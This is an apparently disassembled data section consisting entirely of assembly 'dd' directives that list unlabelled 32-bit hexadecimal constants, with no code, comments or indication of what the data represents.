dd 0A329460Bh, 0A4080195h, 97CB56B7h, 107C48CAh, 5DC3CC44h
dd 0F5C19C88h, 483492E0h, 10455AD4h, 84DC60h, 0DB6C5165h
dd 0C7129103h, 6282449Eh, 0A15F5D3h, 61570938h, 0D2F794DAh
dd 4C62C824h, 0A887D084h, 0C660A704h, 7B50540h, 6A3F5F89h
dd 599C9012h, 0A20041B1h, 55B42057h, 12C1647Ah, 1205C74Fh
dd 0DA7C2338h, 678C8F5h, 73400B50h, 0A8F1E209h, 5344CC46h
dd 3F00E86Bh, 0B7BD89D6h, 0AB00AD1Dh, 0EA184413h, 0B8B7943h
dd 0FD462172h, 7EE17C48h, 7D2B4004h, 8F645071h, 20010038h
dd 0C15896Bh, 83F230F6h, 0B3EBE722h, 4D392A09h, 0E902416h
dd 10335CCDh, 86822450h, 0DF075542h, 0E485DAB1h, 0E66C2845h
dd 0B2579C8h, 6640D328h, 0C7E984A0h, 0C4593542h, 0C0C49008h
dd 0C9E3C8A7h, 1C079E5h, 0FFB26C4h, 0D4D64668h, 5A14B435h
dd 8B7C7184h, 0C1EC681Ch, 285A09C8h, 0D9DB46h, 0EC042112h
dd 2003574h, 7E3E389Ah, 5390B916h, 31048CD0h, 4BF9C37Ch
dd 1598B44Eh, 0B338D9C0h, 8D65807Dh, 0E4895385h, 93601CDCh
dd 226FB07h, 92CDE214h, 2201A8D2h, 0FF6C8473h, 402B7AFDh
dd 0C31F24E8h, 6D0185B3h, 8E34A13Fh, 0E470B098h, 4F1CB88Dh
dd 9A4440BEh, 0CA6A3BC4h, 2234E102h, 0D4BA252Eh, 61DAD058h
dd 14C80D4Eh, 0FD841334h, 484880D8h, 0FF4B62DBh, 8085FC48h
dd 16F3CD87h, 2A0038BDh, 0DF98DC6h, 0DB127Eh, 4A0680C1h
dd 0EA299087h, 8804E05Bh, 0F212356Ch, 0D0040784h, 17F0C1A3h
dd 0BF07D0Ah, 806D6BDFh, 0BA4A8C6Ch, 0BCEC88h, 0F59D72A3h
dd 8A307F6Fh, 814AC802h, 5290CE56h, 8CB3047Ch, 81468339h
dd 10A78DE0h, 1036E5Ch, 0CCD26807h, 306C33DEh, 0A702E85Ch
dd 0F4498E94h, 0A0CB03D6h, 69013DB8h, 3C514026h, 0B170C96h
dd 872F8DDh, 21710C80h, 0BF00786Fh, 5F1AAE2h, 137ACF9h
dd 467E1BC3h, 3A1E343Fh, 108D1C62h, 0E8A8D9BEh, 35000F22h
dd 2B7B58C7h, 97685E90h, 400AD824h, 411D4FE2h, 0F39007A4h
dd 10127C53h, 0ABFF918Fh, 11949A4Dh, 15281851h, 34E020C8h
dd 1DEA0200h, 41203E79h, 9098A155h, 1D2C3015h, 1101D68Bh
dd 0F5173153h, 64261013h, 9FEC1A29h, 6DB6B0B8h, 2B00B146h
dd 92188C3Eh, 13F04116h, 8085E25h, 18AC0E0Ch, 7B8A743Ah
dd 2A02444h, 45A38DAh, 2150B4D6h, 423898C4h, 96470086h
dd 0A798C899h, 54F82535h, 0C9504498h, 8B1BEF05h, 94E68C61h
dd 8750884Fh, 4882B000h, 89C7B1ECh, 0B71C773Eh, 0B2007416h
dd 59FDE9B5h, 0F313D82h, 381ED3BEh, 0B3212DA2h, 6EB03468h
dd 26E87873h, 185BE179h, 0BA6CCC04h, 1B808B48h, 0EF883AFAh
dd 6E53B27h, 0CEBF9E82h, 50F1341Eh, 74A24A96h, 0E35F8500h
dd 58F7725Dh, 0F998F0C0h, 14D6335h, 0C2ADC71Eh, 3BCE6A12h
dd 0FB244020h, 5EB20202h, 21D2064Dh, 0ECA700D1h, 208748F4h
dd 4A0F32Dh, 99DF6CD2h, 43788400h, 8A9F325Bh, 6458285Ch
dd 0FC974468h, 0AF02417Fh, 0C4583B23h, 0C0C9E24Bh, 0A709E87h
dd 97FFDF47h, 6CE86B6Ch, 890009CCh, 40E2BEA1h, 1D1F105Dh
dd 705CC1BDh, 0B50A06C9h, 5CD49295h, 397B709Ch, 35AA8F09h
dd 9D944686h, 1FB308A0h, 29B0E87Bh, 33BD41Ch, 46E19601h
dd 7CE485F6h, 358F19CAh, 327D3174h, 69D91CCCh, 0FE67AD80h
dd 3CB6D073h, 3C5C7162h, 0E29F3312h, 0FD4287A4h, 0E2A1999Ch
dd 78E7001Dh, 0C47B8755h, 57558D8h, 0F3C0DB14h, 41041F60h
dd 0B140519Ch, 0F66920E8h, 22535F8Fh, 593285C8h, 0D8298478h
dd 3F00F618h, 547BA6CDh, 4F1DD0A6h, 40BC9E22h, 2579F871h
dd 0FB30737Ah, 1C91B698h, 663904F9h, 0F055405Ah, 0E44447A0h
dd 3BF8C88Ch, 0C7BC91AFh, 16D9B2E4h, 74649149h, 0E5308CFCh
dd 0A7D0CD00h, 0CF5F7842h, 0B2BD01EDh, 0CA66FC7Fh, 3A6C491Ch
dd 9A182420h, 2B3E0192h, 1007815Dh, 0DA518923h, 5E00524Ch
dd 6A3C4030h, 0CEBD6241h, 7A564D03h, 0B29C49ADh, 151CD384h
dd 4E00907Ch, 0EA6C7D6Eh, 0E31E16F0h, 0BB9F1D32h, 6AC13140h
dd 9468A393h, 80149044h, 781F8AB3h, 24355F90h, 0F900858h
dd 0C440CD44h, 21C92A63h, 8D809E0Bh, 9C5B8Ch, 8EBFB287h
dd 90951521h, 0CA4F54h, 0ABD9EC18h, 93FA61Ch, 686C2102h
dd 0CD1FF7C5h, 176088F8h, 0CE7060A5h, 50919599h, 14301941h
dd 16D25C4h, 7C0278C6h, 9FA2AC77h, 0CBDC5653h, 41EC6000h
dd 0F54FD510h, 0B725D89Bh, 83355840h, 7130BD0Bh, 6064E3h
dd 0C7FBC90Ch, 0B4606197h, 85EA4112h, 4B001CE2h, 0AACF020h
dd 0A9CB1D63h, 0CD6821CCh
dd 0D8689893h, 5742CEC2h, 121200FBh, 0E10310B2h, 585FA52Dh
dd 2FD6DEF8h, 1C908A00h, 0CC5C5BB9h, 4D660B49h, 0AC4487CEh
dd 0B97D8301h, 15037641h, 402076CEh, 94BC43E9h, 0C8487B4Dh
dd 0CEC09FD7h, 72E58CC9h, 212C9822h, 0CE4440B8h, 4662000Ch
dd 5A6B84EBh, 1700D4D2h, 0E20BE542h, 27A08560h, 68C44E9Dh
dd 6C36300h, 298EE03Bh, 0C909685h, 6221D1F3h, 5351D301h
dd 0B91A23E0h, 0B8734F0h, 0DA8B5B1Bh, 0B860A012h, 9201A826h
dd 54AAE003h, 0D0610704h, 58242C6Fh, 0FDFCB818h, 26BA9F50h
dd 0E4C45379h, 8C54E9C3h, 3EF349C7h, 0D800FC26h, 0F0F5D1E2h
dd 0AF24B142h, 6F9E0CCBh, 6DD39285h, 858CBC08h, 44C646B3h
dd 483524F8h, 4690428Eh, 0F848D876h, 0C4906AC5h, 2B853D5h
dd 4A917441h, 38ECCCFAh, 0F499907Fh, 0B7E9D260h, 0F9800024h
dd 110F6DFDh, 834E5E57h, 7034C30h, 994A40Dh, 55184C79h
dd 0C06028EAh, 4A39D3D6h, 492E65h, 27BD4C08h, 70DB8B0h
dd 24D1275Bh, 0D4697C6Bh, 9793A500h, 8370B0A7h, 46210800h
dd 1DA3BE74h, 0BDDCB89Ah, 0D100F414h, 0F487DF4Eh, 4BB7175Ah
dd 0A7DC17DAh, 0EDC32710h, 6824DCh, 712AD076h, 68122D24h
dd 10C954B6h, 0A4102813h, 4802A445h, 90AF14D4h, 0FCC150h
dd 9DD97679h, 0D55026FFh, 19F2097Bh, 0F1F92302h, 0F0C290D2h
dd 9C915C54h, 0CDD0E409h, 4E001CCCh, 0A80F732Eh, 14F7CE54h
dd 0F490CC99h, 2FEC2601h, 5C5545E0h, 119D5EF0h, 70B9A6Ch
dd 69F98DD8h, 0AF4D1143h, 310E47DFh, 80362CD0h, 87442B60h
dd 401C2EFCh, 1CC0D229h, 31000677h, 0C56273D4h, 0BE8B4BACh
dd 0E9AB4404h, 1127920h, 892DFEFh, 90B9229Ch, 260038E7h
dd 0AA7C46D8h, 8CB90E2Bh, 0D9C43FC2h, 0C7808831h, 0FB106F00h
dd 21B8D648h, 8438B74Fh, 0C43CEFCDh, 0CCA12FF4h, 947F53D4h
dd 0A6D01D13h, 0DB5E1100h, 339A0404h, 30688132h, 40E6D26Ch
dd 34B21D05h, 54EC2608h, 6B715A88h, 86000823h, 0E73C6D87h
dd 441D9184h, 0A5C088A6h, 54D159A4h, 0CDF7FECh, 0CA15064Dh
dd 29D6341h, 2A04334h, 0F84E89B7h, 0E46488A2h, 84FD4926h
dd 37F27240h, 0BB016h, 3CC1D565h, 0B20475F0h, 4A6ACD1Ch
dd 805E48C0h, 2F6450D7h, 24B15C31h, 7C202F06h, 0DE92CE6Bh
dd 0A75917E1h, 0F7C306D0h, 219630h, 4378B357h, 0F84938ADh
dd 0DBA4500h, 7C225B5Fh, 83875ED8h, 26E7CE24h, 340278B8h
dd 0FA8DB3B7h, 10B06B0Eh, 169F13F8h, 64255BDAh, 8909F887h
dd 1D2830CAh, 0C61E1007h, 800688E4h, 3E7F54Dh, 6801D36Ah
dd 0B4EF8716h, 222FB9B0h, 0D6404150h, 420346E6h, 1329760Bh
dd 0D102DB52h, 54FEFB30h, 0A66C8350h, 43A0C182h, 0E90201F9h
dd 0ABA724FAh, 728B312Ah, 542DC104h, 88354458h, 32E0236Bh
dd 171F27F0h, 6576A601h, 952D0309h, 206B704Dh, 59BF518h
dd 27AE6500h, 984492DEh, 0A7CA009Ah, 7C721B73h, 942F0385h
dd 0DCC490C8h, 568E00ECh, 666F605Ah, 4500A44Bh, 0B4CA21A5h
dd 4D0896FBh, 75D32461h, 0CB78BCDCh, 0DDB4C1C3h, 35466017h
dd 4501479Bh, 0DA716972h, 6B711DCCh, 93266032h, 142E58DCh
dd 6BB0CA00h, 7E635F04h, 411C13D7h, 0B70C41CCh, 29919FCh
dd 0CADCC9B9h, 16F536E8h, 92B1FE0h, 24E82748h, 20169234h
dd 0D60089C5h, 1604CC3Fh, 0FCED2E29h, 6EB01FD4h, 20296F4h
dd 7699994h, 680434E1h, 9B24834h, 0E04F9D28h, 0A0063CE8h
dd 0B0FB2418h, 0FE8B9CCh, 40406896h, 11B2F503h, 0FC804B28h
dd 0E6EECD10h, 0BC90BD89h, 0D700BC9Ah, 0B64961D3h, 1F692151h
dd 0C043AFA7h, 83AFFA8h, 0CC3495B4h, 1CE2F8EFh, 12891899h
dd 42D04C29h, 6C1D1287h, 14803CB8h, 4CCF6FD4h, 0E37D390Bh
dd 9F509821h, 0B5E00185h, 1EC85328h, 5920F4EFh, 7D7E3604h
dd 4904022h, 798B5CC3h, 0E210D742h, 0DEDD0EF0h, 3DF84010h
dd 2CA71Bh, 0B0730CAFh, 0D0BCFEFBh, 2140A502h, 0A96A8060h
dd 0B6C804A4h, 163DDA41h, 0B4207077h, 0F56C6901h, 0C31DCE98h
dd 619DCC42h, 1474A958h, 4FC21131h, 55085013h, 82C56402h
dd 0E21AB616h, 0A6406114h, 5DEE034h, 77DDB33Bh, 88F0126Dh
dd 1D73C02Ch, 6EB94500h, 1E0E2659h, 304B004Ah, 6C31BB12h
dd 74A819F9h, 0EE0022B0h, 0B32A6199h, 0F323D2Bh, 0A45325C3h
dd 0A6593E81h, 302710h, 6479E9E0h, 0BC401AC7h, 6DFB1FD4h
dd 240648A4h, 5C0084F2h, 0F8DC3A4h, 4604392Bh, 0F2A84847h
dd 0E0B3C085h, 937FCC01h, 7FCDA4FAh, 0BEB37061h, 8574E8h
dd 7D520996h, 3420C3A8h, 5D65DF02h, 0ECF448h, 6C981E15h
dd 87B00265h, 0D0872824h, 2D7CBEE0h, 80A09532h, 0FF959624h
dd 6DDA5505h, 90C391E6h, 0B8C7E06Bh, 90D54E99h, 1F62CC38h
dd 481C8295h, 601507EEh, 0E699845Dh, 7C5E14A0h, 0C6180E01h
dd 0DF1EB6B8h, 246231CDh, 5736BF00h, 4BDB3BEAh, 761D9F00h
dd 2A18BC90h, 450743Dh, 262E5C70h, 633CB499h, 520395EEh
dd 5D3D6DC7h, 5131A2CFh, 0E5408030h, 0C9385498h, 68DBB501h
dd 0DDF7C2E9h, 5D85FF60h, 4135427h, 3444F4DCh, 8854675Ch
dd 79AA8307h, 0EBE0F3AFh, 7500EC3Fh, 0FFCD668Ah, 2E598D58h
dd 184445D3h, 0E5923155h, 0DC613F02h, 5659DA94h, 0FCC04D2Ch
dd 3700147Ch, 0F5F9CE64h, 0A7468Ch, 267AB74Fh, 0CB5A5EE1h
dd 1CE00660h, 1A2E915h, 0EB2C3549h, 3A147271h, 0EAB3C20h
dd 1CDB00EDh, 44076862h, 0B025044Ch, 0B4E46Ah, 3A95C179h
dd 53016BC9h, 16225500h, 92BC0DC7h, 0EDFC00DDh, 0B9192094h
dd 0E2036F46h, 0D72BF44Dh, 0B255C052h, 319F0065h, 8A491C37h
dd 99442F34h, 0FC570079h, 608C1BF2h, 6600937Bh, 0D99697DCh
dd 21F402Dh, 56B921CAh, 0ACA30B8Dh, 3CE0D8E5h, 0F5077463h
dd 65FFCF52h, 1700884Ah, 4E59A6C6h, 244F5BDBh, 958C01F0h
dd 0D40CE35Dh, 2B07F59Dh, 4EE0E2B2h, 23F25530h, 0B10B0020h
dd 285A9FC2h, 0CF00C89Bh, 18E308A1h, 8862D3h, 0B023A317h
dd 0CB7C16E4h, 6FF61B00h, 6B4F0EB7h, 171D3564h, 0D6188C19h
dd 52FD8900h, 545EEF66h, 9E4740Ah, 4AC781Eh, 10D700A0h
dd 6A722421h, 8D04C47Bh, 6D59C220h, 4600A0F2h, 6BC69499h
dd 4C12327Fh, 0F0C2E355h, 8ECF22DBh, 7C614CD4h, 4196920Bh
dd 522CB4BEh, 34A6E100h, 5785C193h, 0FF47922h, 0B202E33Ch
dd 1E58694Ch, 14A6D490h, 0C4FE1B0Eh, 266580D0h, 12D2E3B1h
dd 208592E5h, 0CBFBB754h, 6455892h, 8438203Ah, 563D80BCh
dd 0FB5E00D0h, 7B5DC21Fh, 22A5E22h, 32A9C46Ch, 0B20094DAh
dd 950F678Fh, 17D95315h, 0BB6089D7h, 81714A09h, 441CFCE8h
dd 82B7ED1h, 98A4C790h, 9C7C0E11h, 0E3734240h, 4004C7Ch
dd 6646EAECh, 5D5704B7h, 0CCE79981h, 2E807934h, 42F81B6h
dd 0D4B84C00h, 1A3083Fh, 86B1C4A8h, 8EB7E6C8h, 0E530F1BEh
dd 3CB0FBFAh, 0F21D22E9h, 50F42607h, 245E4BCh, 2F8040F8h
dd 625F5EA5h, 0D05A6409h, 2FC87845h, 0F82E3AAEh, 0AF4FDC44h
dd 346B020h, 7701009Ch, 43F64132h, 0F50099B2h, 11D23A4Bh
dd 0B39357h, 3B9CD38Ch, 95346255h, 6DD75C00h, 5E7ECD4Fh
dd 646C28F5h, 9089C4DCh, 0A084E85Ah, 22EDF8h, 2F7F9B18h
dd 6B9832BDh, 3CCCE34Bh, 767102F4h, 0C6FCC809h, 904C9CD0h
dd 8DCD0D60h, 90366091h, 0D9958800h, 8AEC542Eh, 0FBA7F500h
dd 0C21CAEFFh, 26663E39h
dd 598FE186h, 7D5FF171h, 0CCBCA440h, 6554F0h, 0ADBB296Eh
dd 47283D11h, 80F86D49h, 0AA72431Ch, 61680073h, 0DF3B2ABCh
dd 0F51A6E16h, 0E419A9D8h, 97CD00FCh, 649B04CFh, 83022F84h
dd 4950DBEFh, 61CC8F43h, 0E975EF5h, 0D9D4203Ah, 4B390C17h
dd 8AAF80CAh, 83F8BC2Fh, 126F5C5Eh, 99B6F703h, 66C13F95h
dd 0E0A9C1E9h, 0B102E7C4h, 0FCB84ADAh, 0DD989059h, 9C10B53Fh
dd 804C309Ch, 8BF90003h, 0B0A1E888h, 0CF931F04h, 497D024Bh
dd 0D142E2CCh, 0FF019079h, 0A74E9A42h, 4C73AC4h, 457ED1B9h
dd 8074FC97h, 4B3F98ABh, 27BE4DDh, 0EDEC9F95h, 0DEE17274h
dd 0EF6120F9h, 0F0124F8h, 0D5214CB6h, 1422DA62h, 0D7750C04h
dd 1EFC808Eh, 0E4952607h, 89CC6738h, 673AF064h, 9900223Dh
dd 4644C6E5h, 0E68C5B52h, 3E4A0F6Fh, 72406EA3h, 37BC6DC0h
dd 0E69A2600h, 8C433C9Eh, 0D6210A4Bh, 9D3CD962h, 7D8EC1FEh
dd 9C911E40h, 1F928780h, 829BD00Bh, 0D986CD28h, 4E840374h
dd 5F8172Dh, 0BD205A93h, 4CC301CEh, 7FB22016h, 0E1A030BAh
dd 4841C88Bh, 4225028Dh, 43E5D9ABh, 0DBD4A461h, 799F4CE0h
dd 0B599022h, 0D692F6CBh, 0E0297440h, 0D06410F9h, 8CA75C34h
dd 0C57BBB00h, 406957B9h, 4A000577h, 1193E41Ch, 0F65244h
dd 37191EFDh, 8B43E15Dh, 64D55F2Fh, 0B12400D8h, 93F9B98Ch
dd 0ECB491CEh, 89205844h, 7FF85B3Fh, 1DF175Ch, 5F90B77Ch
dd 24521A6Bh, 40485693h, 90BBB3B6h, 0D63F1303h, 0C1E19A1Eh
dd 18316EEEh, 181020h, 0A9323E69h, 9D19AD7Bh, 44802AD2h
dd 0E8B91A78h, 68070002h, 19964B86h, 0B872E6DAh, 0C4CDF325h
dd 0B08F008Ch, 0C25C6856h, 8200918Eh, 0D4FF010Ch, 2AB4159h
dd 0D7761E20h, 0A48E74F5h, 1E60A3F2h, 0CD434621h, 4FCAEF8Ch
dd 0D04C20E0h, 45004AC3h, 49295E0Fh, 7BAEEBC6h, 0A69A0B20h
dd 7B8F671Bh, 626407B2h, 42B8507Ch, 0CB007757h, 0D33D820Ah
dd 24C953C1h, 1281EE7h, 34F51D59h, 11206297h, 4E009330h
dd 0D8DE25C7h, 0C015A78h, 3A5B05F5h, 28297526h, 69946524h
dd 4C992093h, 9028426Fh, 1B4D0860h, 737811BDh, 7C4FF6FCh
dd 0F5A800ACh, 1EA0AFA6h, 0AE0611E8h, 96B8731Dh, 145D2E40h
dd 23820F7h, 0DB4DD3E5h, 0B8C50562h, 32406C80h, 95CD4B9Ch
dd 26FB9460h, 0F089A76Ch, 1217098Bh, 0C6CD3C7h, 51B3CD00h
dd 15083E02h, 570601D9h, 5E410E2Bh, 5E8C80Bh, 820DC40h
dd 4ACA8EEh, 0B11F824h, 675E3105h, 14B08B6Eh, 9288A134h
dd 31BA2420h, 0C8630A6Bh, 3870F41Fh, 69856D01h, 24463088h
dd 512CF54Ch, 44255C62h, 917468h, 3F7A0E1Ah, 508A8E56h
dd 0C663B000h, 2B9D25CCh, 313D0009h, 1F80DA64h, 1E171AC1h
dd 6C07ABEAh, 10EB0352h, 9A6E9C8h, 0C2333A57h, 0B841C076h
dd 0B02547BEh, 283E57F1h, 3C2CCC84h, 48046B31h, 9CBC8420h
dd 65ECDDC0h, 431950C2h, 6DC96C25h, 342FC067h, 51F6D4ECh
dd 47465805h, 54CE6DC7h, 4992A121h, 645F14E8h, 7454E0B0h
dd 4820934Ah, 1E9EE127h, 42B45C26h, 0A3DC91E6h, 0BA04B080h
dd 7F12A01Fh, 9C0220B9h, 919F2941h, 406E7DC8h, 54BF6ECh
dd 0C300E188h, 0B8548112h, 3F3EE69Fh, 0FC1CBC98h, 4C11E58Fh
dd 95A1899h, 5B04F51Ch, 6768FC8Ah, 0A01A5965h, 5CB9F450h
dd 0BA7E0038h, 25A56F12h, 7AE4242Ch, 9654417Ch, 0ADD7C486h
dd 0C4A4D301h, 0BDF39D24h, 0E1445FE4h, 48C4113Fh, 98818522h
dd 0F27D12CDh, 0E089035Ch, 9B3956BDh, 88D21FA1h, 0C011F848h
dd 0C0BC9904h, 3C823101h, 710E4C7Ah, 4BD3B870h, 2C90A16Dh
dd 989D7E6Ch, 7F52A28h, 0F4505488h, 102EA2A8h, 11D62CC1h
dd 312E92CFh, 3F083360h, 7E400027h, 94261A8Dh, 90E42F10h
dd 5007877h, 0D34FB696h, 0B4331E75h, 246341A0h, 9F0E2053h
dd 54B8A51Bh, 0A49EEA8h, 0A160DAB5h, 0D82181D4h, 916B805Fh
dd 0CF12E3F0h, 3A48B58Dh, 132D0C8h, 0DC924AFEh, 201DB861h
dd 6880E90h, 505CA824h, 3742358Ch, 635800F0h, 4B553CD7h
dd 311743E8h, 60A6B9AFh, 65440071h, 0A672C20Ch, 0BD007DF2h
dd 995AB56Eh, 8A904840h, 93749050h, 0E4780A01h, 7BD379B0h
dd 10000069h, 4DF36DFCh, 4600F9DCh, 632E1C6Eh, 2E3F59CDh
dd 4065E5h, 2ACE7C27h, 0E2F01FBBh, 63112961h, 29A95A25h
dd 0CA928048h, 1D8A37B3h, 0C002531Dh, 63491C2h, 50704063h
dd 9FA224D1h, 23216F4h, 54140915h, 0F240785Eh, 0C2C022h
dd 83053CBAh, 82B185A3h, 49D1700h, 0FDD35AC4h, 9411FEC1h
dd 35C04EB8h, 4B025E37h, 112764B9h, 7F303C84h, 68BF0077h
dd 0FB6C1C92h, 2600BB80h, 791ED8A0h, 291DA225h, 2EC8D56h
dd 773C28E5h, 1ED208A0h, 4117ABB6h, 74C8408Bh, 4158BE07h
dd 6CD1D354h, 0B3648758h, 0B11823A1h, 0AC5BFCh, 986E7B5Eh
dd 9DDEC914h, 5C4CA53Ch, 4264C154h, 29F2528Bh, 13B13018h
dd 95E99003h, 0F8B6DA25h, 40FDDFEh, 0F8CD228Ch, 5550C172h
dd 63A86092h, 5CBEA498h, 8AD157E0h, 0A1C60082h, 0CEACDBDAh
dd 32007EBDh, 0AB18018Fh, 0B51F0789h, 33637890h, 0A432D874h
dd 65593431h, 0F5D580F4h, 7A2E1F76h, 5CCC502Eh, 44E427h
dd 0D7594EBAh, 0F72E7871h, 7B8A1200h, 5BBD5861h, 0DC545C75h
dd 39DCCA2Ah, 468E4004h, 71E3439Bh, 5FBA4DA7h, 91012059h
dd 0B78B53D0h, 7B80A02Ch, 4D448020h, 0FC38E10Fh, 0F310E1E5h
dd 45F8CB05h, 0C5210598h, 0C0551B1Ch, 8D67C268h, 0F4AA94A1h
dd 0BC2C58EEh, 9C44D814h, 625A9045h, 0A8180AF4h, 118BE5D5h
dd 48003542h, 4BD864E2h, 7F09503Ch, 1F059200h, 0CE8BA416h
dd 0C8F54B8Ch, 0C5166438h, 30147023h, 7FAFCFA0h, 91BCEC56h
dd 5B12103Ch, 58E3021Fh, 30E281FCh, 5940407Eh, 0E4D4384h
dd 14CF2DAAh, 5D6A9BA0h, 9C0BDA58h, 0B74A603h, 0B9E0382Ch
dd 0E9960260h, 5B7F9A0h, 0F1808479h, 1689413Ch, 46E10001h
dd 0F32C4C37h, 1F03B07Bh, 0F8844BD6h, 4AED9887h, 0E941006Fh
dd 2DCBC4D9h, 5C4F8B44h, 0DE043CD2h, 9FC441FCh, 0BAE3D466h
dd 3E9B4B14h, 56CE0080h, 5AB202EAh, 0A1BE124Fh, 7B5CC824h
dd 94B10863h, 121CF946h, 888A3Eh, 0BD2D646Bh, 48FECF24h
dd 409F08C0h, 48B5AACEh, 6800739Ah, 66EB1895h, 1EBE221Eh
dd 8067F964h, 0B5421260h, 4126E47h, 4090BDE5h, 9CD80F5h
dd 2A53BFF0h, 0D94BDA00h, 81171854h, 48D06D8h, 0AEF4203Bh
dd 9600A575h, 0DC19BF9h, 719E6Bh, 0D4C7FE45h, 7E18D859h
dd 3AA11738h, 0B8530008h, 401D9E65h, 0E0020FA7h, 60804534h
dd 200BB267h, 997E1900h, 5FEBB7A3h, 0CE691393h, 0C04F58Dh
dd 557B77DCh, 78D60900h, 0C1C69A03h, 0E12B0228h, 5912076Fh
dd 6480B4DEh, 9ED7BA56h, 54BC9035h, 22CFD809h, 85B5938Ch
dd 80C7BAD8h, 0C45D3DB2h, 64680058h, 0E0A0F56Ch, 5A0A96EAh
dd 8E398D5h, 4B035000h, 0BCF76B2h, 94473AF3h, 0D541C082h
dd 0E2490423h, 0CDCD66Ch, 5C806A69h, 6E6DCF13h, 8EB43C21h
dd 20548FCh, 901EB9ABh, 0D0407460h, 316318Bh, 80A3E221h
dd 87064B00h, 752589FFh, 0B4A1ABF8h, 0D0882A20h, 16390E3Bh
dd 9E081B3h, 433F8E47h, 50965D2Ch, 6EBF5E02h, 44ECEC26h
dd 0BD008A0Ah, 923E864Ch, 1FFA7E9h, 0AA4140C5h, 9355C479h
dd 808C5FE0h, 0F81EF21Bh, 685813DCh, 0D9B0B0FDh, 0CFB5E01Fh
dd 0E464ADh, 95613D69h
dd 2947D1C4h, 9E59F900h, 38C53CF3h, 0D9E10426h, 0F070ACC9h
dd 32003DD8h, 0F13E310Eh, 894961h, 75462157h, 0C0BE0AA3h
dd 1080ECB4h, 0F5767E22h, 44010094h, 8127965Bh, 0E12769A8h
dd 7ABCC8F3h, 10BD00DCh, 5D5278ACh, 8140FB60h, 231E2206h
dd 508090BDh, 0EBC7008Fh, 5B727F90h, 0F300423Bh, 0BE17D29Ah
dd 0F860AAF4h, 0E838D9F1h, 8BC4F9CFh, 0D9DB49F1h, 9F372898h
dd 7A396010h, 0D9332100h, 49F126B8h, 777326E2h, 89E4109Ch
dd 0C640E26Ch, 13850018h, 0C4E417FEh, 0D400CEC7h, 9D4B61E8h
dd 354EDC9h, 96403DB3h, 50D05F18h, 2500BDC6h, 1EE587D0h
dd 0E305AE7h, 3471D93Ah, 0E225CCEh, 20D2FD51h, 8A2BA700h
dd 890DE793h, 7941EE40h, 3FAC1263h, 7E58305Bh, 0BCB1DD93h
dd 0D4304849h, 455F039Ch, 4E38C7AFh, 26A5B4E9h, 9CC84E6Ch
dd 58CDFE20h, 4705BB92h, 498AE760h, 784626C8h, 11A71CBEh
dd 0B21482F4h, 0C9850BA4h, 0A000FF9Fh, 7447302Fh, 9C950E09h
dd 6A50803Ah, 161DCE5Ch, 926D58E5h, 585E22E8h, 4058D127h
dd 0A259A81Dh, 0C35280BDh, 0F4D8B5B1h, 0F6010E1Bh, 91C1728Bh
dd 0F6AB6FC2h, 1600B451h, 0D4AAB6C7h, 50010399h, 8FE05727h
dd 1DB9D812h, 5FD70437h, 4468C6B0h, 83751D49h, 54442F1Ch
dd 81404601h, 35210162h, 785DFEFCh, 1B0404ABh, 0EAB61712h
dd 0FCF6B075h, 518CEF0Eh, 0C23CD793h, 28463A41h, 0FB63AB00h
dd 0C4D35A91h, 97E2C5h, 2679F7BFh, 84CEA7C1h, 983CAD97h
dd 0B3825C01h, 0AE2B70h, 18BD92B9h, 9CB54639h, 0BE714918h
dd 289A3D11h, 17B03141h, 0A4F3E3DEh, 0FB0095A8h, 902878B4h
dd 8B5D2Ah, 0C2A70A66h, 9723BEDBh, 1F128498h, 841876B6h
dd 44F3BA40h, 2E0025A5h, 0BC2CF84Ah, 5DC907h, 0B988708h
dd 2F458D7h, 6BE1930Bh, 66810504h, 0B03F0C8h, 6F82ABE0h
dd 0A2A4A8EBh, 0A1A30018h, 5ED72D57h, 3315005Ah, 0D95B824h
dd 0BEE005BAh, 0B5B27608h, 90072F38h, 0C8CA4907h, 49687Ch
dd 5C847B2Ah, 5D413725h, 6E677119h, 1455EE90h, 3EB700E4h
dd 5468989Ch, 0D802F74Bh, 0BA9B3BC0h, 4844C1h, 0C5B95B7Eh
dd 6C81BD73h, 75200800h, 0A1049CD8h, 20714B41h, 0F9D9CE78h
dd 5E72EAECh, 4D898305h, 5CC41FF4h, 97CF50CCh, 0CD460490h
dd 0A27B5A2Fh, 0E640903Ch, 4F492770h, 0EE0C1864h, 0AA3A25B4h
dd 0E1F758Ch, 4D03163h, 56DAA781h, 6599338h, 0FC2DDCE2h
dd 0E2BD98CBh, 0A8C8C29Ch, 92864D5h, 7558FDA6h, 3C63D412h
dd 808C49E4h, 2DC78948h, 8E3400EDh, 72E34F8Bh, 553A3099h
dd 18B730D7h, 0F88CF558h, 0C9C8001Fh, 4AD89766h, 3CF81864h
dd 22B78B01h, 8E404F0Eh, 0A48CD23Ah, 64C2A8C8h, 80C9BBE9h
dd 742C8B48h, 0B1D3F0h, 0A60913E3h, 62EE2340h, 0D65D2903h
dd 0F51DF999h, 52313C80h, 8F9024CEh, 2C9069A0h, 0CD0F55DBh
dd 202E94C9h, 20FA3F6Bh, 0B82101B3h, 0EE617996h, 8450F014h
dd 0C8024A2Ah, 0B4A24B4Fh, 0E0AAFE80h, 0C60F67F8h, 206C3219h
dd 0A69E0B8Fh, 116D14B9h, 80CFBCEDh, 0A007BEA7h, 1F683955h
dd 0CA8A5C0Fh, 51A55D85h, 184D083Ch, 481E2081h, 402E6AD0h
dd 0B03F85FCh, 4B5AC791h, 0D198E422h, 252124Ch, 0D1FD3D74h
dd 0C27A6420h, 0C96C2E50h, 0E72D015Eh, 0CC5BB914h, 5C0B6EF5h
dd 44762639h, 10D94304h, 904BB616h, 5D1D6CC8h, 99BAF500h
dd 33494CBBh, 265A1DAAh, 8D48C078h, 0F7402A68h, 0F1853C05h
dd 0C0C1BE8Fh, 0C710125Bh, 585E906Dh, 4F0B1CCAh, 2180E721h
dd 0EF7EE8B4h, 0CF95CD01h, 8457AEC2h, 0DA7C332Fh, 0EC7915CAh
dd 104D8C00h, 48EB26h, 33FB0E5h, 0D734DC17h, 3C526D0Eh
dd 64E8054h, 3F84C48h, 0D670C759h, 0C1C2036Ch, 0D5EEE852h
dd 1326F101h, 4025DBF2h, 61AF60E2h, 73020EB2h, 51694F66h
dd 0C84028FCh, 67EB95h, 0D5875032h, 5E04DE76h, 46B89A1Ch
dd 8A8B5B82h, 8424440Eh, 0EA0402B4h, 373454EFh, 1E007CC6h
dd 0CC36949Eh, 1B5ECDh, 0A1F110E0h, 0B1027831h, 8CE2A306h
dd 2151DCBEh, 2107D852h, 69425549h, 180D923h, 738DFEDEh
